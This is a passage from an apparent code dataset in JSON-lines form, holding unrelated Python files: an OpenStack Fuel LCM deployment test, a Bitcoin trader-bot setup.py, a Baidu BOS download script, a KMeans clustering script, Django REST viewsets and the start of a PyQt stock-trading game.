self.define_pr_ctrl() if ha else {}\n for node in slave_nodes:\n node_roles = self.node_roles(node)\n if node.get('name') == pr_ctrl.get('name', None):\n node_roles = 'primary-' + node_roles\n node_ref = \"{}_{}\".format(node[\"id\"], node_roles)\n fixture = self.load_fixture(deployment, node_roles, idmp)\n node_tasks = self.get_nodes_tasks(node[\"id\"])\n extra_actual_tasks, extra_fixture_tasks, wrong_types = \\\n self.get_fixture_relevance(node_tasks, fixture)\n result['extra_actual_tasks'][node_ref] = extra_actual_tasks\n result['extra_fixture_tasks'][node_ref] = extra_fixture_tasks\n result['wrong_types'][node_ref] = wrong_types\n result['failed_tasks'][node_ref] = \\\n extra_actual_tasks | \\\n extra_fixture_tasks | \\\n set([task for task in wrong_types.keys()])\n\n logger.warning(\"Uncovered deployment tasks:\\n{}\"\n .format(yaml.dump(result, default_flow_style=False)))\n failed_nodes = [node_refs\n for node_refs, failed_tasks in\n result['failed_tasks'].items()\n if failed_tasks]\n return failed_nodes\n\n def generate_fixture(self, node_refs, cluster_id, slave_nodes, ha=False):\n \"\"\"Generate fixture with description of task idempotency\n\n :param node_refs: a string, refs to nailgun node\n :param cluster_id: an integer, number of cluster id\n :param slave_nodes: a list of nailgun nodes\n :param ha: bool, indicates ha mode is enabled or disabled\n :return: None\n \"\"\"\n result = {}\n pr_ctrl = self.define_pr_ctrl() if ha else {}\n for node in slave_nodes:\n node_roles = self.node_roles(node)\n if node.get('name') == pr_ctrl.get('name', None):\n node_roles = 'primary-' + node_roles\n node_ref = \"{}_{}\".format(node[\"id\"], node_roles)\n if node_ref not in node_refs:\n logger.debug('Node {!r} was skipped because the current '\n 'fixtures are actual for deployment tasks which '\n 'are executed on this node'.format(node_ref))\n continue\n node_tasks = self.get_nodes_tasks(node[\"id\"])\n tasks_description = self.env.admin_actions.get_tasks_description()\n tasks = []\n\n for task in node_tasks:\n task_type = self.get_task_type(tasks_description, task)\n if task_type != \"puppet\":\n logger.info(\"Skip checking of {!r} task,it is not puppet\"\n .format(task))\n tasks.append({task: {\"type\": task_type}})\n continue\n\n self.fuel_web.execute_task_on_node(task, node[\"id\"],\n cluster_id)\n\n try:\n report = self.get_puppet_report(node)\n except AssertionError:\n # NOTE: in ideal case we need to avoid puppet\n # tasks with \"no_puppet_run\": True\n tasks.append({task: {\"no_puppet_run\": True}})\n msg = (\"Unexpected no_puppet_run for task: {}\"\n .format(task))\n logger.info(msg)\n continue\n\n failed = False\n task_resources = []\n\n for res_name, res_stats in report['resource_statuses'].items():\n if res_stats['changed']:\n failed = True\n msg = (\"Non-idempotent task {!r}, resource: {}\"\n .format(task, res_name))\n logger.error(msg)\n task_resources.append(res_name)\n\n if failed:\n tasks.append({\n task: {\"skip\": task_resources}\n })\n else:\n tasks.append({\n task: None\n })\n logger.info(\n \"Task {!r} on node {!r} was executed successfully\"\n .format(task, node['id']))\n\n result.update(\n {\n node_ref: {\n \"role\": node_roles,\n \"tasks\": tasks\n }\n }\n )\n\n logger.info(\"Generated fixture:\\n{}\"\n .format(yaml.dump(result, default_flow_style=False)))\n\n @staticmethod\n def _parse_settings(settings):\n \"\"\"Select only values and their types from settings\n\n :param settings: dict, (env or node) settings\n :return: dict, settings in short format\n \"\"\"\n parsed = {}\n for group in settings:\n if group in SETTINGS_SKIPLIST:\n continue\n parsed[group] = {}\n for attr, params in settings[group].items():\n if attr in SETTINGS_SKIPLIST:\n continue\n try:\n parsed[group][attr] = {\n 'value': params['value'],\n 'type': params['type']\n }\n except KeyError:\n logger.debug(\"Do not include {} setting as it doesn't \"\n \"have value\".format(params['label']))\n if not parsed[group]:\n logger.debug(\"Do not include {} group as it doesn't have \"\n \"settings with values\".format(group))\n del parsed[group]\n return parsed\n\n @staticmethod\n def _get_settings_difference(settings1, settings2):\n \"\"\"Select values and/or groups of set1 that are not present in set2\n\n :param settings1: dict, group of dicts\n :param settings2: dict, group of dicts\n :return: dict, set1 items not present in set2\n \"\"\"\n diff = {}\n new_groups = set(settings1) - set(settings2)\n if new_groups:\n diff.update([(g, settings1[g]) for g in new_groups])\n for group in settings1:\n if group in new_groups:\n continue\n new_params = set(settings1[group]) - set(settings2[group])\n if new_params:\n diff[group] = {}\n diff[group].update(\n [(s, settings1[group][s]) for s in new_params])\n return diff\n\n def _cmp_settings(self, settings, fixtures):\n \"\"\"Compare current and stored settings\n\n Return values and/or groups of settings that are new, comparing to\n what is stored in fixtures.\n Return values and/or groups of settings in fixtures that are outdated,\n comparing to what is available in the cluster under test.\n\n :param settings: dict, current settings in short format\n :param fixtures: dict, stored settings in short format\n :return: tuple, (new settings, outdated settings) pair\n \"\"\"\n new_s = self._get_settings_difference(settings, fixtures)\n outdated_f = self._get_settings_difference(fixtures, settings)\n return new_s, outdated_f\n\n def get_cluster_settings(self, cluster_id):\n \"\"\"Get cluster settings and return them in short format\n\n :param cluster_id: int, ID of the cluster under test\n :return: dict, cluster settings in short format\n \"\"\"\n settings = self.fuel_web.client.get_cluster_attributes(\n cluster_id)['editable']\n return self._parse_settings(settings)\n\n def get_nodes_settings(self, cluster_id):\n \"\"\"Get node settings and return them in short format\n\n :param cluster_id: int, ID of the cluster under test\n :return: dict, node settings in short format\n \"\"\"\n nodes = self.fuel_web.client.list_cluster_nodes(cluster_id)\n\n node_settings = {}\n for node in nodes:\n node_attrs = self.fuel_web.client.get_node_attributes(node['id'])\n roles = self.node_roles(node)\n node_settings[roles] = self._parse_settings(node_attrs)\n return node_settings\n\n @staticmethod\n def load_settings_fixtures(deployment):\n \"\"\"Load stored settings for the given cluster configuration\n\n :param deployment: str, name of cluster configuration\n (e.g. 1_ctrl_1_cmp_1_cinder)\n :return: tuple, (cluster, nodes) pair of stored settings\n \"\"\"\n f_path = os.path.join(os.path.dirname(__file__), \"fixtures\",\n deployment, \"ensurability\", \"{}\")\n\n with open(f_path.format(\"cluster_settings.yaml\")) as f:\n cluster_fixture = yaml.load(f)\n with open(f_path.format(\"nodes_settings.yaml\")) as f:\n nodes_fixture = yaml.load(f)\n\n return cluster_fixture, nodes_fixture\n\n def check_cluster_settings_consistency(self, settings, fixtures):\n \"\"\"Check if stored cluster settings require update\n\n :param settings: dict, settings of the cluster under test\n :param fixtures: dict, stored cluster settings\n :return: tuple, (new settings, outdated settings) pair; this indicates\n whether fixtures require update\n \"\"\"\n return self._cmp_settings(settings, fixtures)\n\n def check_nodes_settings_consistency(self, settings, fixtures):\n \"\"\"Check if stored node settings require update\n\n :param settings: dict, node settings of the cluster under test\n :param fixtures: dict, stored node settings\n :return: tuple, (new settings, outdated settings) pair; this indicates\n whether fixtures require update\n \"\"\"\n new_settings = {}\n outdated_fixtures = {}\n for node in fixtures:\n new_s, outdated_f = self._cmp_settings(\n settings[node], fixtures[node])\n if new_s:\n new_settings[node] = new_s\n if outdated_f:\n outdated_fixtures[node] = outdated_f\n return new_settings, outdated_fixtures\n\n def check_settings_consistency(self, deployment, cluster_id):\n \"\"\"Check if settings fixtures are up to date.\n\n :param cluster_id: int, env under test\n :param deployment: str, name of env configuration under test\n :return: None\n \"\"\"\n cluster_f, nodes_f = self.load_settings_fixtures(deployment)\n cluster_s = self.get_cluster_settings(cluster_id)\n nodes_s = self.get_nodes_settings(cluster_id)\n\n consistency = {}\n new_cluster_s, old_cluster_f = \\\n self.check_cluster_settings_consistency(cluster_s, cluster_f)\n new_nodes_s, old_nodes_f = \\\n self.check_nodes_settings_consistency(nodes_s, nodes_f)\n\n consistency[\"fixtures\"] = {\n 'old_cluster_fixtures': old_cluster_f,\n 'old_nodes_fixtures': old_nodes_f\n }\n consistency[\"settings\"] = {\n 'new_cluster_settings': new_cluster_s,\n 'new_nodes_settings': new_nodes_s\n }\n\n nonconsistent = False\n if new_cluster_s or new_nodes_s.values():\n logger.info(\n \"Settings fixtures require update as new options are \"\n \"available now for configuring an environment\\n{}\".format(\n yaml.safe_dump(consistency[\"settings\"],\n default_flow_style=False))\n )\n nonconsistent = True\n if old_cluster_f or old_nodes_f.values():\n logger.info(\n \"Settings fixtures require update as some options are no \"\n \"longer available for configuring an environment\\n{}\".format(\n yaml.safe_dump(consistency[\"fixtures\"],\n default_flow_style=False))\n )\n nonconsistent = True\n if nonconsistent:\n self.generate_settings_fixture(cluster_id)\n msg = ('Please update setting fixtures in the repo '\n 'according to generated data')\n raise DeprecatedFixture(msg)\n\n def generate_settings_fixture(self, cluster_id):\n \"\"\"Get environment and nodes settings, and print them to console.\n\n :return: None\n \"\"\"\n cluster_s = self.get_cluster_settings(cluster_id)\n nodes_s = self.get_nodes_settings(cluster_id)\n\n logger.info(\"Generated environment settings fixture:\\n{}\".format(\n yaml.safe_dump(cluster_s, default_flow_style=False)))\n logger.info(\"Generated nodes settings fixture:\\n{}\".format(\n yaml.safe_dump(nodes_s, default_flow_style=False)))\n\n def enable_hugepages(self, node_ids):\n \"\"\"Updates settings of the given nodes to enable hugepages\n\n :param node_ids: list, node IDs\n :return: None\n \"\"\"\n for node_id in node_ids:\n settings = self.fuel_web.client.get_node_attributes(\n node_id)\n settings['hugepages']['nova']['value']['2048'] = 10\n self.fuel_web.client.upload_node_attributes(settings, node_id)\n\n\n@test(groups=['deploy_lcm_environment'])\nclass SetupLCMEnvironment(LCMTestBasic):\n @test(depends_on=[SetupEnvironment.prepare_slaves_3],\n groups=['lcm_deploy_1_ctrl_1_cmp_1_cinder'])\n @log_snapshot_after_test\n def lcm_deploy_1_ctrl_1_cmp_1_cinder(self):\n \"\"\"Create cluster with cinder\n\n Scenario:\n 1. Revert snapshot \"ready_with_3_slaves\"\n 2. Create cluster\n 3. Add 1 controller\n 4. Add 1 compute node\n 5. Add 1 cinder node\n 6. Deploy cluster\n 7. Check extra deployment tasks\n\n Duration 180m\n Snapshot: \"lcm_deploy_1_ctrl_1_cmp_1_cinder\"\n \"\"\"\n deployment = '1_ctrl_1_cmp_1_cinder'\n snapshotname = 'lcm_deploy_{}'.format(deployment)\n self.check_run(snapshotname)\n self.show_step(1)\n self.env.revert_snapshot(\"ready_with_3_slaves\")\n\n self.show_step(2)\n segment_type = NEUTRON_SEGMENT['tun']\n cluster_id = self.fuel_web.create_cluster(\n name=self.__class__.__name__,\n mode=DEPLOYMENT_MODE,\n settings={\n \"net_segment_type\": segment_type\n }\n )\n self.show_step(3)\n self.show_step(4)\n self.show_step(5)\n self.fuel_web.update_nodes(\n cluster_id,\n {\n 'slave-01': ['controller'],\n 'slave-02': ['compute'],\n 'slave-03': ['cinder']\n }\n )\n\n self.show_step(6)\n slave_nodes = self.fuel_web.client.list_cluster_nodes(cluster_id)\n self.enable_hugepages([node['id'] for node in slave_nodes])\n self.fuel_web.deploy_cluster_wait(cluster_id)\n self.show_step(7)\n slave_nodes = self.fuel_web.client.list_cluster_nodes(cluster_id)\n node_refs = self.check_extra_tasks(slave_nodes, deployment)\n if node_refs:\n logger.info('Generating a new fixture . . .')\n self.generate_fixture(node_refs, cluster_id, slave_nodes)\n msg = ('Please update idempotency fixtures in the repo '\n 'according to generated fixtures')\n raise DeprecatedFixture(msg)\n self.env.make_snapshot(snapshotname, is_make=True)\n\n @test(depends_on=[SetupEnvironment.prepare_slaves_3],\n groups=['lcm_deploy_1_ctrl_1_cmp_1_mongo'])\n @log_snapshot_after_test\n def lcm_deploy_1_ctrl_1_cmp_1_mongo(self):\n \"\"\"Create cluster with Ceilometer\n\n Scenario:\n 1. Revert snapshot \"ready_with_3_slaves\"\n 2. Create cluster\n 3. Add 1 controller\n 4. Add 1 compute node\n 5. Add 1 mongo node\n 6. Deploy cluster\n 7. Check extra deployment tasks\n\n Duration 180m\n Snapshot: \"lcm_deploy_1_ctrl_1_cmp_1_mongo\"\n \"\"\"\n deployment = '1_ctrl_1_cmp_1_mongo'\n snapshotname = 'lcm_deploy_{}'.format(deployment)\n self.check_run(snapshotname)\n self.show_step(1)\n self.env.revert_snapshot(\"ready_with_3_slaves\")\n\n self.show_step(2)\n segment_type = NEUTRON_SEGMENT['vlan']\n cluster_id = self.fuel_web.create_cluster(\n name=self.__class__.__name__,\n mode=DEPLOYMENT_MODE,\n settings={\n 'ceilometer': True,\n 'net_segment_type': segment_type\n }\n )\n self.show_step(3)\n self.show_step(4)\n self.show_step(5)\n self.fuel_web.update_nodes(\n cluster_id,\n {\n 'slave-01': ['controller'],\n 'slave-02': ['compute'],\n 'slave-03': ['mongo']\n }\n )\n\n self.show_step(6)\n slave_nodes = self.fuel_web.client.list_cluster_nodes(cluster_id)\n self.enable_hugepages([node['id'] for node in slave_nodes])\n self.fuel_web.deploy_cluster_wait(cluster_id)\n self.show_step(7)\n slave_nodes = self.fuel_web.client.list_cluster_nodes(cluster_id)\n node_refs = self.check_extra_tasks(slave_nodes, deployment)\n if node_refs:\n logger.info('Generating a new fixture . . .')\n self.generate_fixture(node_refs, cluster_id, slave_nodes)\n msg = ('Please update idempotency fixtures in the repo '\n 'according to generated fixtures')\n raise DeprecatedFixture(msg)\n self.env.make_snapshot(snapshotname, is_make=True)\n\n @test(depends_on=[SetupEnvironment.prepare_slaves_5],\n groups=['lcm_deploy_1_ctrl_1_cmp_3_ceph'])\n @log_snapshot_after_test\n def lcm_deploy_1_ctrl_1_cmp_3_ceph(self):\n \"\"\"Create cluster with ceph\n\n Scenario:\n 1. Revert snapshot \"ready_with_5_slaves\"\n 2. Create cluster\n 3. Add 1 controller\n 4. Add 1 compute node\n 5. Add 3 ceph-osd nodes\n 6. Deploy cluster\n 7. Check extra deployment tasks\n\n Duration 240m\n Snapshot: \"lcm_deploy_1_ctrl_1_cmp_3_ceph\"\n \"\"\"\n deployment = '1_ctrl_1_cmp_3_ceph'\n snapshotname = 'lcm_deploy_{}'.format(deployment)\n self.check_run(snapshotname)\n self.show_step(1)\n self.env.revert_snapshot(\"ready_with_5_slaves\")\n\n self.show_step(2)\n segment_type = NEUTRON_SEGMENT['tun']\n cluster_id = self.fuel_web.create_cluster(\n name=self.__class__.__name__,\n mode=DEPLOYMENT_MODE,\n settings={\n 'volumes_lvm': False,\n 'volumes_ceph': True,\n 'images_ceph': True,\n 'objects_ceph': True,\n 'net_segment_type': segment_type\n }\n )\n self.show_step(3)\n self.show_step(4)\n self.show_step(5)\n self.fuel_web.update_nodes(\n cluster_id,\n {\n 'slave-01': ['controller'],\n 'slave-02': ['compute'],\n 'slave-03': ['ceph-osd'],\n 'slave-04': ['ceph-osd'],\n 'slave-05': ['ceph-osd']\n }\n )\n\n self.show_step(6)\n slave_nodes = self.fuel_web.client.list_cluster_nodes(cluster_id)\n self.enable_hugepages([node['id'] for node in slave_nodes])\n self.fuel_web.deploy_cluster_wait(cluster_id)\n self.show_step(7)\n slave_nodes = self.fuel_web.client.list_cluster_nodes(cluster_id)\n node_refs = self.check_extra_tasks(slave_nodes, deployment)\n if node_refs:\n logger.info('Generating a new fixture . . .')\n self.generate_fixture(node_refs, cluster_id, slave_nodes)\n msg = ('Please update idempotency fixtures in the repo '\n 'according to generated fixtures')\n raise DeprecatedFixture(msg)\n self.env.make_snapshot(snapshotname, is_make=True)\n\n @test(depends_on=[SetupEnvironment.prepare_slaves_9],\n groups=['lcm_deploy_3_ctrl_3_cmp_ceph_sahara'])\n @log_snapshot_after_test\n def lcm_deploy_3_ctrl_3_cmp_ceph_sahara(self):\n \"\"\"Create cluster with Sahara, Ceilometer, Ceph in HA mode\n\n Scenario:\n 1. Revert snapshot \"ready_with_9_slaves\"\n 2. Create cluster\n 3. Add 3 controllers with mongo role\n 4. Add 3 compute node with ceph-osd role\n 5. Deploy cluster\n 6. Check extra deployment tasks\n\n Duration 240m\n Snapshot: \"lcm_deploy_3_ctrl_3_cmp_ceph_sahara\"\n \"\"\"\n deployment = '3_ctrl_3_cmp_ceph_sahara'\n snapshotname = 'lcm_deploy_{}'.format(deployment)\n self.check_run(snapshotname)\n self.show_step(1)\n self.env.revert_snapshot(\"ready_with_9_slaves\")\n\n self.show_step(2)\n segment_type = NEUTRON_SEGMENT['tun']\n cluster_id = self.fuel_web.create_cluster(\n name=self.__class__.__name__,\n mode=DEPLOYMENT_MODE,\n settings={\n 'ceilometer': True,\n \"sahara\": True,\n 'volumes_lvm': False,\n 'volumes_ceph': True,\n 'images_ceph': True,\n 'objects_ceph': True,\n \"net_segment_type\": segment_type\n }\n )\n self.show_step(3)\n self.show_step(4)\n self.fuel_web.update_nodes(\n cluster_id,\n {\n 'slave-01': ['controller', 'mongo'],\n 'slave-02': ['controller', 'mongo'],\n 'slave-03': ['controller', 'mongo'],\n 'slave-04': ['compute', 'ceph-osd'],\n 'slave-05': ['compute', 'ceph-osd'],\n 'slave-06': ['compute', 'ceph-osd']\n }\n )\n\n self.show_step(5)\n slave_nodes = self.fuel_web.client.list_cluster_nodes(cluster_id)\n self.enable_hugepages([node['id'] for node in slave_nodes])\n self.fuel_web.deploy_cluster_wait(cluster_id)\n self.show_step(6)\n slave_nodes = self.fuel_web.client.list_cluster_nodes(cluster_id)\n node_refs = self.check_extra_tasks(slave_nodes, deployment, ha=True)\n if node_refs:\n logger.info('Generating a new fixture . . .')\n self.generate_fixture(node_refs, cluster_id, slave_nodes, ha=True)\n msg = ('Please update idempotency fixtures in the repo '\n 'according to generated fixtures')\n raise DeprecatedFixture(msg)\n self.env.make_snapshot(snapshotname, is_make=True)\n\n @test(depends_on=[SetupEnvironment.prepare_slaves_3],\n groups=['lcm_deploy_1_ctrl_1_cmp_1_ironic'])\n @log_snapshot_after_test\n def lcm_deploy_1_ctrl_1_cmp_1_ironic(self):\n \"\"\"Deploy cluster with Ironic:\n\n Scenario:\n 1. Create cluster\n 2. Add 1 controller node\n 3. Add 1 compute node\n 4. Add 1 ironic node\n 5. Deploy cluster\n 6. Check extra deployment tasks\n\n Duration 180m\n Snapshot: lcm_deploy_1_ctrl_1_cmp_1_ironic\n \"\"\"\n deployment = '1_ctrl_1_cmp_1_ironic'\n snapshotname = 'lcm_deploy_{}'.format(deployment)\n self.check_run(snapshotname)\n\n self.env.revert_snapshot(\"ready_with_3_slaves\")\n\n self.show_step(1)\n cluster_id = self.fuel_web.create_cluster(\n name=self.__class__.__name__,\n mode=DEPLOYMENT_MODE,\n settings={\n \"net_segment_type\": NEUTRON_SEGMENT['vlan'],\n \"ironic\": True,\n }\n )\n\n self.show_step(2)\n self.show_step(3)\n self.show_step(4)\n self.fuel_web.update_nodes(\n cluster_id,\n {\n 'slave-01': ['controller'],\n 'slave-02': ['compute'],\n 'slave-03': ['ironic'],\n }\n )\n\n self.show_step(5)\n slave_nodes = self.fuel_web.client.list_cluster_nodes(cluster_id)\n self.enable_hugepages([node['id'] for node in slave_nodes])\n self.fuel_web.deploy_cluster_wait(cluster_id)\n self.show_step(6)\n slave_nodes = self.fuel_web.client.list_cluster_nodes(cluster_id)\n node_refs = self.check_extra_tasks(slave_nodes, deployment)\n if node_refs:\n logger.info('Generating a new fixture . . .')\n self.generate_fixture(node_refs, cluster_id, slave_nodes)\n msg = ('Please update idempotency fixtures in the repo '\n 'according to generated fixtures')\n raise DeprecatedFixture(msg)\n self.env.make_snapshot(snapshotname, is_make=True)\n","sub_path":"fuelweb_test/tests/tests_lcm/base_lcm_test.py","file_name":"base_lcm_test.py","file_ext":"py","file_size_in_byte":33701,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"268662989","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n#\n# This software is licensed as described in the README.rst and LICENSE\n# files, which you should have received as part of this distribution.\n\nimport os\n\ntry:\n from setuptools import setup\nexcept ImportError:\n from distutils.core import setup\n\n# noinspection PyPep8Naming\nfrom trader import __version__ as VERSION\n\n\ndef read_file(name):\n return open(os.path.join(os.path.dirname(__file__), name)).read()\n\nDEPS = [\n \"https://github.com/ricco386/template-bot/zipball/master\",\n]\n\nCLASSIFIERS = [\n 'Environment :: Console',\n 'Intended Audience :: System Administrators',\n 'Intended Audience :: Developers',\n 'Operating System :: Unix',\n 'Operating System :: POSIX :: Linux',\n 'License :: OSI Approved :: MIT License',\n 'Programming Language :: Python',\n 'Programming Language :: Python :: 2',\n 'Programming Language :: Python :: 3',\n 'Development Status :: 5 - Production/Stable',\n 'Topic :: Communications :: Chat',\n 'Topic :: Utilities',\n 'Topic :: Home Automation'\n]\n\nsetup(\n name='trader-bot',\n version=VERSION,\n description='Simple bot, used for Bitcoin trade via Kraken.com',\n long_description=read_file('README.rst'),\n author='Richard Kellner',\n author_email='richard.kellner [at] gmail.com',\n url='https://github.com/ricco386/trader-bot',\n license='MIT',\n packages=['trader'],\n scripts=['bin/trader-bot'],\n dependency_links=DEPS,\n platforms='any',\n classifiers=CLASSIFIERS,\n include_package_data=True\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1547,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"560672977","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\n@author: gxs\n@license: (C) Copyright 2016-2019, Light2Cloud (Beijing) Web Service Co., LTD\n@contact: dingjianfeng@light2cloud.com\n@software: AWS-DJF\n@file: download.py\n@ide: PyCharm\n@time: 2020/7/23 11:01\n@desc:\n\"\"\"\nimport os\nimport pathlib\n\nfrom baidubce.exception import BceError\nfrom initialization import BceAuthentication\nfrom common import _read_bos_file_size, _count_md5\n\n\nclass BceBOSDownload(BceAuthentication):\n\n def __init__(self):\n super().__init__()\n\n def main_function(self):\n \"\"\"\n max_keys=1000\n :return:\n \"\"\"\n bos_client = self.get_bce_connection()\n\n try:\n # 'd/2eeQ7f', 'd/1442413150028', 'd/1442754128155', 'd/1444316556440', 'd/jieINz', 'd/yayYVv'\n # file_directory_list = [\n # 'd/sinldo/bbsy/jk7oxTbYvqiq/1', 'd/sinldo/trsrmyy/XOq7eNQbyEJz/2',\n # 'd/sinldo/yzrmyy/Pu5WmamyMfYj/3', 'd/sinldo/yzrmyy/QCYljhbqaYR3/4'] # 归档\n file_directory_list = ['d/2eeQ7f', 'c/1442413150028']\n\n \"\"\"存放被遍历目录下所有子文件夹的列表\"\"\"\n sub_folder_list = []\n \"\"\"存放被遍历目录下所有文件的列表\"\"\"\n file_list = []\n size_list = []\n for _dir_list in file_directory_list:\n marker = None\n is_truncated = True\n while is_truncated:\n\n response = bos_client.list_objects(bucket_name=self.bos_src_bucket,\n max_keys=1000,\n prefix=_dir_list,\n marker=marker)\n for object in response.contents:\n if object.size == 0 and object.key[-1] == '/':\n sub_folder_list.append(object.key)\n else:\n file_list.append(object.key)\n size_list.append(object.size)\n is_truncated = response.is_truncated\n marker = getattr(response, 'next_marker', None)\n\n if sub_folder_list:\n self.makedir_directory_from_bos(file_directory_list, sub_folder_list)\n else:\n self.makedir_directory_from_bos(file_directory_list,)\n self.logger.warning(f'从 BOS 存储桶读取文件总数量:{len(file_list)} ')\n self.logger.warning(f'从 BOS 存储桶读取文件总大小:{_read_bos_file_size(size_list)} GB ')\n if _read_bos_file_size(size_list) <= str(700):\n return self.download_file_from_bos(bos_client, file_list, file_directory_list)\n else:\n self.logger.warning(f'从 BOS 存储桶读取文件总大小超过 700 GB')\n\n except BceError as e:\n self.logger.error('从 BOS 存储桶读取文件详情时,发生错误 {}'.format(e))\n return []\n\n def makedir_directory_from_bos(self, directories: list, sub_folders: list = None):\n try:\n if sub_folders:\n for directory in directories:\n if not os.path.isdir(directory):\n os.makedirs(directory)\n for sub_folder in sub_folders:\n if not os.path.isdir(sub_folder):\n os.makedirs(sub_folder)\n else:\n for directory in directories:\n if not os.path.isdir(directory):\n os.makedirs(directory)\n except FileExistsError as e:\n self.logger.error('创建对应的多级目录时,发生错误 {}'.format(e))\n\n def download_file_from_bos(self, bos_client, file_lists: list, file_directory_list: list):\n \"\"\"\n :param bos_client:\n :param file_lists: list BOS 数据列表\n :param file_directory_list: CSV 路径列表\n :return:\n \"\"\"\n try:\n for file in file_lists:\n path = pathlib.Path(file)\n if path.is_file():\n pass\n # self.logger.info(f'BOS 存储桶中的文件:{file} 在本地存在,不执行下载操作')\n else:\n if not os.path.isdir(os.path.dirname(file)):\n os.makedirs(os.path.dirname(file))\n if bos_client.get_object_meta_data(bucket_name=self.bos_src_bucket,\n key=file).metadata.bce_storage_class == 'ARCHIVE':\n self.logger.critical(f'BOS 归档文件:{file} ')\n continue\n response = bos_client.get_object_to_file(\n bucket_name=self.bos_src_bucket,\n key=file,\n file_name=file,\n )\n # self.logger.info(f'BOS 存储桶中的文件:{file} 下载到本地')\n\n content_md5 = response.metadata.content_md5\n self.check_file_md5(bos_client=bos_client, file_name=file, file_content_md5=content_md5,\n file_directory_list=file_directory_list)\n\n except BceError as e:\n self.logger.error(f'从 BOS 存储桶下载文件 时,发生错误 {e}')\n return []\n\n except Exception as e:\n self.logger.exception(f'从 BOS 存储桶下载文件时,发生错误 {e} ')\n return []\n\n def check_file_md5(self, bos_client, file_name: str, file_content_md5: str, file_directory_list: list):\n \"\"\"\n :param bos_client:\n :param file_name:\n :param file_content_md5:\n :param file_directory_list:\n :return:\n \"\"\"\n md5 = _count_md5(file_name)\n if file_content_md5 == md5[0]:\n self.logger.info(f'下载、校验文件:{file_name} 完成,数据完整,content_md5:{file_content_md5} ')\n else:\n self.logger.warning(f'下载校验文件:{file_name} 发现数据损坏..... 原始 content_md5:{file_content_md5} '\n f'下载后 content_md5:{md5[0]} ')\n # TODO: 校验失败处理\n\n\nif __name__ == '__main__':\n bos = BceBOSDownload()\n bos.main_function()","sub_path":"ConvenientMigrationTool/BceBOS/download.py","file_name":"download.py","file_ext":"py","file_size_in_byte":6477,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"223556824","text":"import pandas as pd\nimport numpy as np\nfrom statsmodels.formula.api import ols\nfrom statsmodels.stats.anova import anova_lm\nfrom sklearn.cluster import KMeans\n\ndata = pd.read_excel(r'C:\\Users\\t430\\Desktop\\Incentive\\RawData\\Agent.xlsx')\ndata = data.drop(['满意度'],axis =1)\ndf= data.drop(['策划师名称','有效回单数'],axis = 1)\npath_output = u'C:/Users/t430/Desktop/Incentive/Output/'\nclf = KMeans(n_clusters=2, random_state=0).fit(df)\n\nL = clf.labels_\nL0 = [i for i,v in enumerate(L) if v==0]\nL1 = [i for i,v in enumerate(L) if v==1]\nL2 = [i for i,v in enumerate(L) if v==2]\nL3 = [i for i,v in enumerate(L) if v==3]\nL4 = [i for i,v in enumerate(L) if v==4]\nL5 = [i for i,v in enumerate(L) if v==5]\nL6 = [i for i,v in enumerate(L) if v==6]\nprint(\"The Cluster centers are :%s\"%clf.cluster_centers_)\nprint(\"The total distance is %s\"%clf.inertia_)\nprint(\"The number of elements in cluster 1 is %s\"%np.sum(L==0))\nprint(\"The number of elements in cluster 2 is %s\"%np.sum(L==1))\nprint(\"The number of elements in cluster 3 is %s\"%np.sum(L==2))\nprint(\"The number of elements in cluster 4 is %s\"%np.sum(L==3))\nprint(\"The number of elements in cluster 5 is %s\"%np.sum(L==4))\nprint(\"The number of elements in cluster 6 is %s\"%np.sum(L==5))\nprint(\"The number of elements in cluster 7 is %s\"%np.sum(L==6))\n\ntb = pd.concat([data,pd.DataFrame(L)],axis =1)\ntb.to_excel('%sLailaoshi.xlsx'%path_output)\nprint(tb.head())\nprint(tb.info())\n","sub_path":"Laolaishi.py","file_name":"Laolaishi.py","file_ext":"py","file_size_in_byte":1430,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"138540595","text":"# -*- coding: utf-8 -*-\n\nfrom rest_framework import mixins\nfrom rest_framework import viewsets\n\nfrom admin_app.core.models import City\nfrom ..serializers.geo import CitySerializer\nfrom ..serializers.geo import CityListSerializer\nfrom ..viewsets import RetrieveResponseMixin\n\n\nclass MetroViewSet(\n RetrieveResponseMixin,\n mixins.RetrieveModelMixin,\n viewsets.GenericViewSet\n):\n serializer_class = CitySerializer\n queryset = City.objects.all()\n lookup_field = 'slug'\n\n def get_updated_data(self, serializer):\n data = super(MetroViewSet, self).get_updated_data(serializer)\n data['request'].update({\n '{0}_slug'.format(serializer.instance._meta.model_name):\n serializer.instance.slug,\n })\n data.pop('item')\n data.update({'items': serializer.data.get('metro')})\n return data\n\n\nclass CityViewSet(\n mixins.ListModelMixin,\n viewsets.GenericViewSet\n):\n serializer_class = CityListSerializer\n queryset = City.objects.all()\n","sub_path":"src/face_full/api_v1/views/geo.py","file_name":"geo.py","file_ext":"py","file_size_in_byte":1010,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"260737242","text":"\"\"\"\nmain.py -> Die main Funktion des Börsenspiels.\n\"\"\"\n\nimport src.SPIELER as S\nimport src.DATEN as D\n\nfrom ui.main_window import Ui_Form\n\nfrom PyQt5 import QtWidgets as qtw\nfrom PyQt5 import QtCore as qtc\nimport threading, sys, os\n\n\nclass MainWindow(qtw.QWidget):\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n\n self.aktuellerTicker = \"\"\n if os.listdir('./data/profile') == []:\n name, nichtCancel = self.abfrageName()\n if not nichtCancel and name == \"\":\n sys.exit()\n else:\n name = os.listdir('./data/profile')[0][:-5]\n \n self.daten = D.DATEN()\n self.spieler = S.SPIELER(name, self.daten.aktuellenTickerpreisErhalten )\n\n self.ui = Ui_Form()\n self.ui.setupUi(self)\n self.ui.tabWidget.setTabVisible(3, False)\n self.aktualisiereTabPortfolio()\n self.ui.plotWidget.setBackground('w')\n self.ui.plotWidget.setAntialiasing(True)\n\n\n # Hier können die Methoden mit den Signalen der Widgets verbunden werden\n\n self.ui.pushButton_aktiensuche.clicked.connect(self.suche)\n 